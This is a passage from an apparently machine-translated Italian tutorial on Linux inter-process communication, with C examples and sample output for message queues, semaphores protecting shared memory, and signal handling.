buf.mtype = 1; /* we don't really care in this case */
while(fgets(buf.mtext, sizeof buf.mtext, stdin) != NULL) {
len = strlen(buf.mtext);
/* remove newline at end, if it exists */
if (buf.mtext[len-1] == '\n') buf.mtext[len-1] = '\0';
if (msgsnd(msqid, &buf, len+1, 0) == -1) /* +1 for '\0' */
perror("msgsnd");
}
strcpy(buf.mtext, "end");
len = strlen(buf.mtext);
if (msgsnd(msqid, &buf, len+1, 0) == -1) /* +1 for '\0' */
perror("msgsnd");
if (msgctl(msqid, IPC_RMID, NULL) == -1) {
perror("msgctl");
exit(1);
}
printf("message queue: done sending messages.\n");
return 0;
}
Fasi di compilazione ed esecuzione
message queue: ready to send messages.
Enter lines of text, ^D to quit:
this is line 1
this is line 2
message queue: done sending messages.
Di seguito è riportato il codice dal processo di ricezione del messaggio (recupero del messaggio dalla coda) - File: msgq_recv.c
/* Filename: msgq_recv.c */
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#define PERMS 0644
struct my_msgbuf {
long mtype;
char mtext[200];
};
int main(void) {
struct my_msgbuf buf;
int msqid;
int toend;
key_t key;
if ((key = ftok("msgq.txt", 'B')) == -1) {
perror("ftok");
exit(1);
}
if ((msqid = msgget(key, PERMS)) == -1) { /* connect to the queue */
perror("msgget");
exit(1);
}
printf("message queue: ready to receive messages.\n");
for(;;) { /* normally receiving never ends but just to make conclusion
/* this program ends wuth string of end */
if (msgrcv(msqid, &buf, sizeof(buf.mtext), 0, 0) == -1) {
perror("msgrcv");
exit(1);
}
printf("recvd: \"%s\"\n", buf.mtext);
toend = strcmp(buf.mtext,"end");
if (toend == 0)
break;
}
printf("message queue: done receiving messages.\n");
system("rm msgq.txt");
return 0;
}
Fasi di compilazione ed esecuzione
message queue: ready to receive messages.
recvd: "this is line 1"
recvd: "this is line 2"
recvd: "end"
message queue: done receiving messages.
La prima domanda che mi viene in mente è: perché abbiamo bisogno dei semafori? Una risposta semplice, per proteggere la regione critica / comune condivisa tra più processi.
Supponiamo che più processi utilizzino la stessa regione di codice e se tutti vogliono accedere parallelamente, il risultato è sovrapposto. Supponiamo, ad esempio, che più utenti utilizzino una sola stampante (sezione comune / critica), diciamo 3 utenti, dati 3 lavori contemporaneamente, se tutti i lavori iniziano parallelamente, l'output di un utente viene sovrapposto a un altro. Quindi, dobbiamo proteggerlo usando i semafori, cioè bloccando la sezione critica quando un processo è in esecuzione e sbloccando quando è finito. Questo verrebbe ripetuto per ogni utente / processo in modo che un lavoro non sia sovrapposto a un altro lavoro.
Fondamentalmente i semafori sono classificati in due tipi:
Binary Semaphores - Solo due stati 0 e 1, ovvero bloccato / sbloccato o disponibile / non disponibile, implementazione Mutex.
Counting Semaphores - I semafori che consentono il conteggio arbitrario delle risorse sono chiamati semafori di conteggio.
Supponiamo di avere 5 stampanti (per capire supponiamo che 1 stampante accetti solo 1 lavoro) e abbiamo 3 lavori da stampare. Ora verranno forniti 3 lavori per 3 stampanti (1 ciascuno). Anche in questo caso sono arrivati 4 lavori mentre questo è in corso. Ora, su 2 stampanti disponibili, 2 lavori sono stati pianificati e ci rimangono altri 2 lavori, che sarebbero completati solo dopo che una delle risorse / stampanti sarà disponibile. Questo tipo di pianificazione in base alla disponibilità delle risorse può essere visto come semafori di conteggio.
Per eseguire la sincronizzazione utilizzando i semafori, di seguito sono riportati i passaggi:
Step 1 - Crea un semaforo o connettiti a un semaforo già esistente (semget ())
Step 2 - Eseguire operazioni sul semaforo, ovvero allocare o rilasciare o attendere le risorse (semop ())
Step 3 - Esegue operazioni di controllo sulla coda dei messaggi (semctl ())
Ora, controlliamo questo con le chiamate di sistema che abbiamo.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
int semget(key_t key, int nsems, int semflg)
Questa chiamata di sistema crea o alloca un set di semafori System V. Devono essere passati i seguenti argomenti:
Il primo argomento, key, riconosce la coda dei messaggi. La chiave può essere un valore arbitrario o uno che può essere derivato dalla funzione di libreria ftok ().
Il secondo argomento, nsems, specifica il numero di semafori. Se binario, allora è 1, implica la necessità di 1 set di semafori, altrimenti secondo il conteggio richiesto del numero di set di semafori.
Il terzo argomento, semflg, specifica il / i flag del semaforo richiesto come IPC_CREAT (creazione del semaforo se non esiste) o IPC_EXCL (usato con IPC_CREAT per creare il semaforo e la chiamata fallisce, se esiste già un semaforo). È necessario passare anche le autorizzazioni.
Note - Fare riferimento alle sezioni precedenti per i dettagli sulle autorizzazioni.
Questa chiamata restituirà un identificatore di semaforo valido (utilizzato per ulteriori chiamate di semafori) in caso di successo e -1 in caso di fallimento. Per conoscere la causa del fallimento, controlla con la variabile errno o la funzione perror ().
Vari errori rispetto a questa chiamata sono EACCESS (autorizzazione negata), EEXIST (la coda esiste già non può creare), ENOENT (la coda non esiste), ENOMEM (memoria insufficiente per creare la coda), ENOSPC (limite massimo di set superato), ecc.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
int semop(int semid, struct sembuf *semops, size_t nsemops)
Questa chiamata di sistema esegue le operazioni sui set di semafori System V, vale a dire, allocare risorse, attendere le risorse o liberare le risorse. Devono essere passati i seguenti argomenti:
Il primo argomento, semid, indica l'identificatore del set di semafori creato da semget ().
Il secondo argomento, semops, è il puntatore a un array di operazioni da eseguire sul set di semafori. La struttura è la seguente:
struct sembuf {
unsigned short sem_num; /* Semaphore set num */
short sem_op; /* Semaphore operation */
short sem_flg; /* Operation flags, IPC_NOWAIT, SEM_UNDO */
};
L'elemento sem_op, nella struttura sopra, indica l'operazione che deve essere eseguita -
Se sem_op è –ve, alloca o ottieni risorse. Blocca il processo chiamante finché non sono state liberate risorse sufficienti da altri processi, in modo che questo processo possa allocare.
Se sem_op è zero, il processo chiamante attende o dorme finché il valore del semaforo non raggiunge 0.
Se sem_op è + ve, rilascia le risorse.
Ad esempio:
struct sembuf sem_lock = {0, -1, SEM_UNDO};
struct sembuf sem_unlock = {0, 1, SEM_UNDO};
Il terzo argomento, nsemops, è il numero di operazioni in quell'array.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
int semctl(int semid, int semnum, int cmd, …)
Questa chiamata di sistema esegue un'operazione di controllo per un semaforo di System V. Devono essere passati i seguenti argomenti:
Il primo argomento, semid, è l'identificatore del semaforo. Questo id è l'identificatore del semaforo, che è il valore di ritorno della chiamata di sistema semget ().
Il secondo argomento, semnum, è il numero di semaforo. I semafori sono numerati da 0.
Il terzo argomento, cmd, è il comando per eseguire l'operazione di controllo richiesta sul semaforo.
Il quarto argomento, di tipo, union semun, dipende dal cmd. Per pochi casi, il quarto argomento non è applicabile.
Controlliamo l'unione semun -
union semun {
int val; /* val for SETVAL */
struct semid_ds *buf; /* Buffer for IPC_STAT and IPC_SET */
unsigned short *array; /* Buffer for GETALL and SETALL */
struct seminfo *__buf; /* Buffer for IPC_INFO and SEM_INFO*/
};
La struttura dati semid_ds definita in sys / sem.h è la seguente:
struct semid_ds {
struct ipc_perm sem_perm; /* Permissions */
time_t sem_otime; /* Last semop time */
time_t sem_ctime; /* Last change time */
unsigned long sem_nsems; /* Number of semaphores in the set */
};
Note - Fare riferimento alle pagine di manuale per altre strutture dati.
union semun arg; I valori validi per cmd sono -
IPC_STAT- Copia le informazioni dei valori correnti di ogni membro di struct semid_ds nella struttura passata indicata da arg.buf. Questo comando richiede l'autorizzazione di lettura per il semaforo.
IPC_SET - Imposta l'ID utente, l'ID gruppo del proprietario, i permessi, ecc. Puntati dalla struttura semid_ds.
IPC_RMID - Rimuove i semafori impostati.
IPC_INFO - Restituisce le informazioni sui limiti e sui parametri del semaforo nella struttura semid_ds indicata da arg .__ buf.
SEM_INFO - Restituisce una struttura seminfo contenente informazioni sulle risorse di sistema consumate dal semaforo.
Questa chiamata restituirà un valore (valore non negativo) a seconda del comando passato. In caso di successo, IPC_INFO e SEM_INFO o SEM_STAT restituiscono l'indice o l'identificatore della voce più alta utilizzata come da Semaphore o il valore di semncnt per GETNCNT o il valore di sempid per GETPID o il valore di semval per GETVAL 0 per altre operazioni con successo e - 1 in caso di guasto. Per conoscere la causa del fallimento, controlla con la variabile errno o la funzione perror ().
Prima di esaminare il codice, comprendiamo la sua implementazione:
Crea due processi, diciamo, figlio e genitore.
Crea memoria condivisa principalmente necessaria per memorizzare il contatore e altri flag per indicare la fine del processo di lettura / scrittura nella memoria condivisa.
Il contatore viene incrementato del conteggio da entrambi i processi padre e figlio. Il conteggio viene passato come argomento della riga di comando o preso come predefinito (se non è passato come argomento della riga di comando o il valore è inferiore a 10000). Chiamato con un certo tempo di sonno per garantire che sia il genitore che il bambino accedano alla memoria condivisa contemporaneamente, cioè in parallelo.
Poiché il contatore viene incrementato a passi di 1 sia dal genitore che dal figlio, il valore finale dovrebbe essere il doppio del contatore. Poiché entrambi i processi padre e figlio eseguono le operazioni contemporaneamente, il contatore non viene incrementato come richiesto. Quindi, dobbiamo garantire la completezza del completamento di un processo seguito da un altro processo.
Tutte le implementazioni precedenti vengono eseguite nel file shm_write_cntr.c
Verificare se il valore del contatore è implementato nel file shm_read_cntr.c
Per garantire il completamento, il programma semaforo è implementato nel file shm_write_cntr_with_sem.c. Rimuovere il semaforo dopo il completamento dell'intero processo (dopo che la lettura è stata eseguita da un altro programma)
Poiché abbiamo file separati per leggere il valore di counter nella memoria condivisa e non abbiamo alcun effetto dalla scrittura, il programma di lettura rimane lo stesso (shm_read_cntr.c)
È sempre meglio eseguire il programma di scrittura in un terminale e leggere il programma da un altro terminale. Poiché il programma completa l'esecuzione solo dopo che il processo di scrittura e lettura è completo, è consentito eseguire il programma dopo aver eseguito completamente il programma di scrittura. Il programma di scrittura aspetterà finché il programma di lettura non viene eseguito e termina solo dopo che è stato fatto.
Programmi senza semafori.
/* Filename: shm_write_cntr.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define SHM_KEY 0x12345
struct shmseg {
int cntr;
int write_complete;
int read_complete;
};
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count);
int main(int argc, char *argv[]) {
int shmid;
struct shmseg *shmp;
char *bufptr;
int total_count;
int sleep_time;
pid_t pid;
if (argc != 2)
total_count = 10000;
else {
total_count = atoi(argv[1]);
if (total_count < 10000)
total_count = 10000;
}
printf("Total Count is %d\n", total_count);
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
shmp->cntr = 0;
pid = fork();
/* Parent Process - Writing Once */
if (pid > 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
} else if (pid == 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
return 0;
} else {
perror("Fork Failure\n");
return 1;
}
while (shmp->read_complete != 1)
sleep(1);
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
if (shmctl(shmid, IPC_RMID, 0) == -1) {
perror("shmctl");
return 1;
}
printf("Writing Process: Complete\n");
return 0;
}
/* Increment the counter of shared memory by total_count in steps of 1 */
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count) {
int cntr;
int numtimes;
int sleep_time;
cntr = shmp->cntr;
shmp->write_complete = 0;
if (pid == 0)
printf("SHM_WRITE: CHILD: Now writing\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Now writing\n");
//printf("SHM_CNTR is %d\n", shmp->cntr);
/* Increment the counter in shared memory by total_count in steps of 1 */
for (numtimes = 0; numtimes < total_count; numtimes++) {
cntr += 1;
shmp->cntr = cntr;
/* Sleeping for a second for every thousand */
sleep_time = cntr % 1000;
if (sleep_time == 0)
sleep(1);
}
shmp->write_complete = 1;
if (pid == 0)
printf("SHM_WRITE: CHILD: Writing Done\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Writing Done\n");
return;
}
Fasi di compilazione ed esecuzione
Total Count is 10000
SHM_WRITE: PARENT: Now writing
SHM_WRITE: CHILD: Now writing
SHM_WRITE: PARENT: Writing Done
SHM_WRITE: CHILD: Writing Done
Writing Process: Complete
Ora, controlliamo il programma di lettura della memoria condivisa.
/* Filename: shm_read_cntr.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#define SHM_KEY 0x12345
struct shmseg {
int cntr;
int write_complete;
int read_complete;
};
int main(int argc, char *argv[]) {
int shmid, numtimes;
struct shmseg *shmp;
int total_count;
int cntr;
int sleep_time;
if (argc != 2)
total_count = 10000;
else {
total_count = atoi(argv[1]);
if (total_count < 10000)
total_count = 10000;
}
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
/* Read the shared memory cntr and print it on standard output */
while (shmp->write_complete != 1) {
if (shmp->cntr == -1) {
perror("read");
return 1;
}
sleep(3);
}
printf("Reading Process: Shared Memory: Counter is %d\n", shmp->cntr);
printf("Reading Process: Reading Done, Detaching Shared Memory\n");
shmp->read_complete = 1;
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
printf("Reading Process: Complete\n");
return 0;
}
Fasi di compilazione ed esecuzione
Reading Process: Shared Memory: Counter is 11000
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete
Se si osserva l'output di cui sopra, il contatore dovrebbe essere 20000, tuttavia, poiché prima del completamento di un'attività di processo anche un altro processo viene elaborato in parallelo, il valore del contatore non è quello previsto. L'output varierebbe da sistema a sistema e inoltre varierebbe con ogni esecuzione. Per garantire che i due processi eseguano l'attività dopo il completamento di un'attività, è necessario implementarla utilizzando meccanismi di sincronizzazione.
Ora, controlliamo la stessa applicazione usando i semafori.
Note - Il programma di lettura rimane lo stesso.
/* Filename: shm_write_cntr_with_sem.c */
#include<stdio.h>
#include<sys/types.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/sem.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define SHM_KEY 0x12345
#define SEM_KEY 0x54321
#define MAX_TRIES 20
struct shmseg {
int cntr;
int write_complete;
int read_complete;
};
void shared_memory_cntr_increment(int, struct shmseg*, int);
void remove_semaphore();
int main(int argc, char *argv[]) {
int shmid;
struct shmseg *shmp;
char *bufptr;
int total_count;
int sleep_time;
pid_t pid;
if (argc != 2)
total_count = 10000;
else {
total_count = atoi(argv[1]);
if (total_count < 10000)
total_count = 10000;
}
printf("Total Count is %d\n", total_count);
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach: ");
return 1;
}
shmp->cntr = 0;
pid = fork();
/* Parent Process - Writing Once */
if (pid > 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
} else if (pid == 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
return 0;
} else {
perror("Fork Failure\n");
return 1;
}
while (shmp->read_complete != 1)
sleep(1);
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
if (shmctl(shmid, IPC_RMID, 0) == -1) {
perror("shmctl");
return 1;
}
printf("Writing Process: Complete\n");
remove_semaphore();
return 0;
}
/* Increment the counter of shared memory by total_count in steps of 1 */
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count) {
int cntr;
int numtimes;
int sleep_time;
int semid;
struct sembuf sem_buf;
struct semid_ds buf;
int tries;
int retval;
semid = semget(SEM_KEY, 1, IPC_CREAT | IPC_EXCL | 0666);
//printf("errno is %d and semid is %d\n", errno, semid);
/* Got the semaphore */
if (semid >= 0) {
printf("First Process\n");
sem_buf.sem_op = 1;
sem_buf.sem_flg = 0;
sem_buf.sem_num = 0;
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Operation: ");
return;
}
} else if (errno == EEXIST) { // Already other process got it
int ready = 0;
printf("Second Process\n");
semid = semget(SEM_KEY, 1, 0);
if (semid < 0) {
perror("Semaphore GET: ");
return;
}
/* Waiting for the resource */
sem_buf.sem_num = 0;
sem_buf.sem_op = 0;
sem_buf.sem_flg = SEM_UNDO;
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Locked: ");
return;
}
}
sem_buf.sem_num = 0;
sem_buf.sem_op = -1; /* Allocating the resources */
sem_buf.sem_flg = SEM_UNDO;
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Locked: ");
return;
}
cntr = shmp->cntr;
shmp->write_complete = 0;
if (pid == 0)
printf("SHM_WRITE: CHILD: Now writing\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Now writing\n");
//printf("SHM_CNTR is %d\n", shmp->cntr);
/* Increment the counter in shared memory by total_count in steps of 1 */
for (numtimes = 0; numtimes < total_count; numtimes++) {
cntr += 1;
shmp->cntr = cntr;
/* Sleeping for a second for every thousand */
sleep_time = cntr % 1000;
if (sleep_time == 0)
sleep(1);
}
shmp->write_complete = 1;
sem_buf.sem_op = 1; /* Releasing the resource */
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Locked\n");
return;
}
if (pid == 0)
printf("SHM_WRITE: CHILD: Writing Done\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Writing Done\n");
return;
}
void remove_semaphore() {
int semid;
int retval;
semid = semget(SEM_KEY, 1, 0);
if (semid < 0) {
perror("Remove Semaphore: Semaphore GET: ");
return;
}
retval = semctl(semid, 0, IPC_RMID);
if (retval == -1) {
perror("Remove Semaphore: Semaphore CTL: ");
return;
}
return;
}
Fasi di compilazione ed esecuzione
Total Count is 10000
First Process
SHM_WRITE: PARENT: Now writing
Second Process
SHM_WRITE: PARENT: Writing Done
SHM_WRITE: CHILD: Now writing
SHM_WRITE: CHILD: Writing Done
Writing Process: Complete
Ora, controlleremo il valore del contatore tramite il processo di lettura.
Fasi di esecuzione
Reading Process: Shared Memory: Counter is 20000
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete
UN signalè una notifica a un processo che indica il verificarsi di un evento. Viene anche chiamato il segnalesoftware interrupt e non è prevedibile conoscerne l'occorrenza, quindi è anche chiamato un asynchronous event.
Il segnale può essere specificato con un numero o un nome, di solito i nomi dei segnali iniziano con SIG. I segnali disponibili possono essere controllati con il comando kill –l (l per Elenco dei nomi dei segnali), che è il seguente:
Ogni volta che viene generato un segnale (sia a livello di codice o segnale generato dal sistema), viene eseguita un'azione predefinita. Cosa succede se non si desidera eseguire l'azione predefinita ma si desidera eseguire le proprie azioni alla ricezione del segnale? È possibile per tutti i segnali? Sì, è possibile gestire il segnale ma non per tutti i segnali. E se vuoi ignorare i segnali, è possibile? Sì, è possibile ignorare il segnale. Ignorare il segnale non implica né l'esecuzione dell'azione predefinita né la gestione del segnale. È possibile ignorare o gestire quasi tutti i segnali. I segnali che non possono essere ignorati o gestiti / catturati sono SIGSTOP e SIGKILL.
In sintesi, le azioni eseguite per i segnali sono le seguenti:
- Azione predefinita
- Gestisci il segnale
- Ignora il segnale
Come discusso, il segnale può essere gestito alterando l'esecuzione dell'azione predefinita. La gestione del segnale può essere eseguita in uno dei due modi, ovvero tramite chiamate di sistema, signal () e sigaction ().
#include <signal.h>
typedef void (*sighandler_t) (int);
sighandler_t signal(int signum, sighandler_t handler);
La chiamata di sistema signal () chiamerebbe il gestore registrato dopo la generazione del segnale come menzionato in signum. Il gestore può essere uno dei SIG_IGN (Ignorare il segnale), SIG_DFL (Ripristino del segnale sul meccanismo predefinito) o un gestore del segnale o indirizzo funzione definito dall'utente.
Questa chiamata di sistema in caso di successo restituisce l'indirizzo di una funzione che accetta un argomento intero e non ha alcun valore di ritorno. Questa chiamata restituisce SIG_ERR in caso di errore.
Sebbene con signal () sia possibile chiamare il rispettivo gestore di segnali registrato dall'utente, non è possibile eseguire una regolazione fine come mascherare i segnali che dovrebbero essere bloccati, modificare il comportamento di un segnale e altre funzionalità. Ciò è possibile utilizzando la chiamata di sistema sigaction ().
#include <signal.h>
int sigaction(int signum, const struct sigaction *act, struct sigaction *oldact)
Questa chiamata di sistema viene utilizzata per esaminare o modificare un'azione del segnale. Se l'atto non è nullo, la nuova azione per signal signum viene installata dall'atto. Se oldact non è nullo, l'azione precedente viene salvata in oldact.
La struttura sigaction contiene i seguenti campi:
Field 1 - Gestore menzionato in sa_handler o sa_sigaction.
void (*sa_handler)(int);
void (*sa_sigaction)(int, siginfo_t *, void *);
Il gestore per sa_handler specifica l'azione da eseguire in base al segno e con SIG_DFL che indica l'azione predefinita o SIG_IGN per ignorare il segnale o il puntatore a una funzione di gestione del segnale.
Il gestore di sa_sigaction specifica il numero del segnale come primo argomento, il puntatore alla struttura siginfo_t come secondo argomento e il puntatore al contesto dell'utente (controllare getcontext () o setcontext () per ulteriori dettagli) come terzo argomento.
La struttura siginfo_t contiene informazioni sul segnale come il numero del segnale da fornire, il valore del segnale, l'ID del processo, l'ID utente reale del processo di invio, ecc.
Field 2 - Set di segnali da bloccare.
int sa_mask;
Questa variabile specifica la maschera dei segnali che dovrebbero essere bloccati durante l'esecuzione del signal handler.
Field 3 - Bandiere speciali.
int sa_flags;
Questo campo specifica una serie di flag che modificano il comportamento del segnale.
Field 4 - Ripristina gestore.
void (*sa_restorer) (void);
Questa chiamata di sistema restituisce 0 in caso di successo e -1 in caso di fallimento.
Consideriamo alcuni programmi di esempio.
Innanzitutto, iniziamo con un programma di esempio, che genera un'eccezione. In questo programma, stiamo cercando di eseguire un'operazione di divisione per zero, che fa sì che il sistema generi un'eccezione.
/* signal_fpe.c */
#include<stdio.h>
int main() {
int result;
int v1, v2;
v1 = 121;
v2 = 0;
result = v1/v2;
printf("Result of Divide by Zero is %d\n", result);
return 0;
}
Fasi di compilazione ed esecuzione
Floating point exception (core dumped)
Pertanto, quando stiamo cercando di eseguire un'operazione aritmetica, il sistema ha generato un'eccezione in virgola mobile con core dump, che è l'azione predefinita del segnale.
Ora, modifichiamo il codice per gestire questo particolare segnale usando la chiamata di sistema signal ().
/* signal_fpe_handler.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
void handler_dividebyzero(int signum);
int main() {
int result;
int v1, v2;
void (*sigHandlerReturn)(int);
sigHandlerReturn = signal(SIGFPE, handler_dividebyzero);
if (sigHandlerReturn == SIG_ERR) {
perror("Signal Error: ");
return 1;
}
v1 = 121;
v2 = 0;
result = v1/v2;
printf("Result of Divide by Zero is %d\n", result);
return 0;
}
void handler_dividebyzero(int signum) {
if (signum == SIGFPE) {
printf("Received SIGFPE, Divide by Zero Exception\n");
exit (0);
}
else
printf("Received %d Signal\n", signum);
return;
}
Fasi di compilazione ed esecuzione
Received SIGFPE, Divide by Zero Exception
Come discusso, i segnali vengono generati dal sistema (eseguendo determinate operazioni come la divisione per zero, ecc.) Oppure l'utente può anche generare il segnale in modo programmatico. Se vuoi generare il segnale in modo programmatico, usa la funzione di libreria raise ().
Ora, prendiamo un altro programma per dimostrare come maneggiare e ignorare il segnale.
Supponiamo di aver alzato un segnale usando raise (), cosa succede allora? Dopo aver alzato il segnale, l'esecuzione del processo in corso viene interrotta. Allora cosa succede al processo interrotto? Ci possono essere due scenari: in primo luogo, continuare l'esecuzione quando necessario. Secondo, termina (con il comando kill) il processo.
Per continuare l'esecuzione del processo interrotto, inviare SIGCONT a quel particolare processo. Puoi anche emettere i comandi fg (in primo piano) o bg (in background) per continuare l'esecuzione. Qui, i comandi riavvierebbero solo l'esecuzione dell'ultimo processo. Se più di un processo viene interrotto, viene ripreso solo l'ultimo processo. Se si desidera riprendere il processo precedentemente interrotto, riprendere i lavori (utilizzando fg / bg) insieme al numero del lavoro.
Il seguente programma viene utilizzato per aumentare il segnale SIGSTOP utilizzando la funzione raise (). Il segnale SIGSTOP può essere generato anche dalla pressione dell'utente del tasto CTRL + Z (Control + Z). Dopo aver emesso questo segnale, il programma interromperà l'esecuzione. Inviare il segnale (SIGCONT) per continuare l'esecuzione.
Nell'esempio seguente, riprendiamo il processo interrotto con il comando fg.
/* signal_raising.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
int main() {
printf("Testing SIGSTOP\n");
raise(SIGSTOP);
return 0;
}
Fasi di compilazione ed esecuzione
Testing SIGSTOP
[1]+ Stopped ./a.out
./a.out
Ora, migliora il programma precedente per continuare l'esecuzione del processo interrotto emettendo SIGCONT da un altro terminale.
/* signal_stop_continue.c */
#include<stdio.h>
#include<signal.h>
#include <sys/types.h>
#include <unistd.h>
void handler_sigtstp(int signum);
int main() {
pid_t pid;
printf("Testing SIGSTOP\n");
pid = getpid();
printf("Open Another Terminal and issue following command\n");
printf("kill -SIGCONT %d or kill -CONT %d or kill -18 %d\n", pid, pid, pid);
raise(SIGSTOP);
printf("Received signal SIGCONT\n");
return 0;
}
Fasi di compilazione ed esecuzione
Testing SIGSTOP
Open Another Terminal and issue following command
kill -SIGCONT 30379 or kill -CONT 30379 or kill -18 30379
[1]+ Stopped ./a.out
Received signal SIGCONT
[1]+ Done ./a.out
In un altro terminal
kill -SIGCONT 30379
Finora abbiamo visto il programma che gestisce il segnale generato dal sistema. Ora, vediamo il segnale generato tramite il programma (usando la funzione raise () o tramite il comando kill). Questo programma genera il segnale SIGTSTP (terminal stop), la cui azione predefinita è interrompere l'esecuzione. Tuttavia, poiché ora stiamo gestendo il segnale invece dell'azione predefinita, arriverà al gestore definito. In questo caso, stiamo solo stampando il messaggio e uscendo.
/* signal_raising_handling.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
void handler_sigtstp(int signum);
int main() {
void (*sigHandlerReturn)(int);
sigHandlerReturn = signal(SIGTSTP, handler_sigtstp);
if (sigHandlerReturn == SIG_ERR) {
perror("Signal Error: ");
return 1;
}
printf("Testing SIGTSTP\n");
raise(SIGTSTP);
return 0;
}
void handler_sigtstp(int signum) {
if (signum == SIGTSTP) {
printf("Received SIGTSTP\n");
exit(0);
}
else
printf("Received %d Signal\n", signum);
return;
}
Fasi di compilazione ed esecuzione
Testing SIGTSTP
Received SIGTSTP
Abbiamo visto casi di esecuzione di un'azione predefinita o di gestione del segnale. Ora è il momento di ignorare il segnale. Qui, in questo programma di esempio, stiamo registrando il segnale SIGTSTP da ignorare tramite SIG_IGN e quindi stiamo alzando il segnale SIGTSTP (terminal stop). Quando viene generato il segnale SIGTSTP, questo verrà ignorato.
/* signal_raising_ignoring.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
void handler_sigtstp(int signum);
int main() {
void (*sigHandlerReturn)(int);
sigHandlerReturn = signal(SIGTSTP, SIG_IGN);
if (sigHandlerReturn == SIG_ERR) {
perror("Signal Error: ");
return 1;
}
printf("Testing SIGTSTP\n");
raise(SIGTSTP);
printf("Signal SIGTSTP is ignored\n");
return 0;
}
Fasi di compilazione ed esecuzione
Testing SIGTSTP
Signal SIGTSTP is ignored
Finora, abbiamo osservato che abbiamo un gestore di segnali per gestire un segnale. Possiamo avere un unico gestore per gestire più segnali? La risposta è si. Consideriamolo con un programma.
Il seguente programma esegue le seguenti operazioni:
Step 1 - Registra un gestore (handleSignals) per catturare o gestire i segnali SIGINT (CTRL + C) o SIGQUIT (CTRL + \)
Step 2 - Se l'utente genera il segnale SIGQUIT (tramite il comando kill o il controllo da tastiera con CTRL + \), il gestore stampa semplicemente il messaggio come return.
Step 3 - Se l'utente genera il segnale SIGINT (tramite il comando kill o il controllo da tastiera con CTRL + C) la prima volta, allora modifica il segnale per eseguire l'azione predefinita (con SIG_DFL) dalla volta successiva.
Step 4 - Se l'utente genera il segnale SIGINT una seconda volta, esegue un'azione predefinita, che è la fine del programma.
/* Filename: sigHandler.c */
#include<stdio.h>
#include<unistd.h>
#include<signal.h>
void handleSignals(int signum);
int main(void) {
void (*sigHandlerInterrupt)(int);
void (*sigHandlerQuit)(int);
void (*sigHandlerReturn)(int);
sigHandlerInterrupt = sigHandlerQuit = handleSignals;
sigHandlerReturn = signal(SIGINT, sigHandlerInterrupt);
if (sigHandlerReturn == SIG_ERR) {
perror("signal error: ");
return 1;
}
sigHandlerReturn = signal(SIGQUIT, sigHandlerQuit);
if (sigHandlerReturn == SIG_ERR) {
perror("signal error: ");
return 1;
}
while (1) {
printf("\nTo terminate this program, perform the following: \n");
printf("1. Open another terminal\n");
printf("2. Issue command: kill %d or issue CTRL+C 2 times (second time it terminates)\n", getpid());
sleep(10);
}
return 0;
}
void handleSignals(int signum) {
switch(signum) {
case SIGINT:
printf("\nYou pressed CTRL+C \n");
printf("Now reverting SIGINT signal to default action\n");
signal(SIGINT, SIG_DFL);
break;
case SIGQUIT:
printf("\nYou pressed CTRL+\\ \n");
break;
default:
printf("\nReceived signal number %d\n", signum);
break;
}
return;
}
Fasi di compilazione ed esecuzione
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 74 or issue CTRL+C 2 times (second time it terminates)
^C
You pressed CTRL+C
Now reverting SIGINT signal to default action
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 74 or issue CTRL+C 2 times (second time it terminates)
^\You pressed CTRL+\
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 120
Terminated
Un altro terminale
kill 71
Secondo metodo
To terminate this program, perform the following:
1. Open another terminal
